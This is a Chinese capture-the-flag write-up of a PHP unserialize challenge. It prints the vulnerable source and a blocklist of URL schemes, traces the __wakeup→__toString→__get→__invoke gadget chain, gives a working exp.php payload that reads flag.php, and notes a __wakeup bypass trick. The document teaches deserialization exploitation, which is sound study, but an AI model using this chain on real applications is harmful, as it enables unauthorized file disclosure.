来自于prontosil师傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more
<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file=‘index.php‘)
{
$this->source = $file;
echo $this->source.‘Welcome‘."<br>";
}
public function __toString()
{
$this->str[‘str‘]->source;
}
public function _show()
{
if(preg_match(‘/gopher|http|ftp|https|dict|\.\.|flag|file/i‘,$this->source)) {
die(‘hacker‘);
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET[‘hello‘]))
{
unserialize($_GET[‘hello‘]);
}
else
{
$show = new Show(‘index.php‘);
$show->_show();
}
这篇文章是无意中手机上看到的文章,真的觉得这种构造链很有意思,所以自己分析了一波。跟这位师傅一样,可能一连串的链已经想好如何构造了,但是就是卡在最关键的一步,最开始的一步如何去调用__toString()呢。下面具体来分析,原文是有注释的,我这里删除了。还没看下文的师傅,自己分析一波看看,没必要直接看分析。
最初始的第一步看需要输入的参数

如果存在hello字段输入就会反序列化操作,如果不存在就会new一个show类,构造方法初始index.php,在调用_show(),输出index.php文件


我们分析完最基础的一步,没什么用。主要是反序列化链的构造。
我们可以看到file_get(),目的就是调用Read类中的file_get读取到flag文件。

我们看到test类中的__get()和Read中的__invoke()的魔术方法


_get魔术方法: 当访问类中的私有属性或者是不存在的属性,触发__get魔术方法
__invoke魔术方法 : 当类的一个对象被当作函数调用的时候触发
这里就是要通过__get方法将$p赋值为new Read(),然后将Read作为函数调用就会触发__invoke方法,将$var赋值为flag地址就可以读到flag
那问题来了,如何去触发__get魔术方法呢。
在Show类中,还有一个__toString()魔术方法,当类作为字符串使用时触发__toString()

如果能触发__toString的话,就可以将str[‘str‘] new成Test类,调用source这样Test类不存在的属性时,就触发了__get魔术方法
但是问题又来了,谁来触发__toString()呢
第三层我一开始跟这位师傅一样,完全没有想到,__wakeup,之前做的题目一般都是需要绕过__wakeup,因为在反序列化一开始就会调用__wakeup魔术方法,所以一开始就把这个魔术方法作为需要bypass的东西,然后这却是我们最需要利用的最开始的一步。
原因在于preg_match会将$this->source作为字符串来使用,去执行匹配。
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
因而如果将 source赋值一个new Show类的话,在反序列化一开始调用__wakeup,preg_match触发__toString。这样就达成了上述的条件。
完整的链
preg_match()->__tostring()->__get()->invoke()
这里自己分析完写了一个exp.php
<?php
class Read {
public $var="flag.php";
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$a=new Show();
$a->source=$a; //触发__toString
$a->str[‘str‘]=new Test();
$a->str[‘str‘]->p=new Read();
echo serialize($a);

本地phpstudy搭建了一个环境

base64解码得到flag

对于写这篇文章师傅后期分析的绕过__wakeup方法,只要序列化字符串中属性个数大于本身的类的属性个数即可绕过,以前在哪个比赛中已经用过这个绕过。一时想不起来,以至于我一开始看到__wakeup,就觉得需要绕过,而不是去利用。??。这道题用preg_match将变量作为字符串来触发__toString()很有意思啊。受益匪浅,一直很喜欢这种链的构造。
原文:https://www.cnblogs.com/BOHB-yunying/p/11839385.html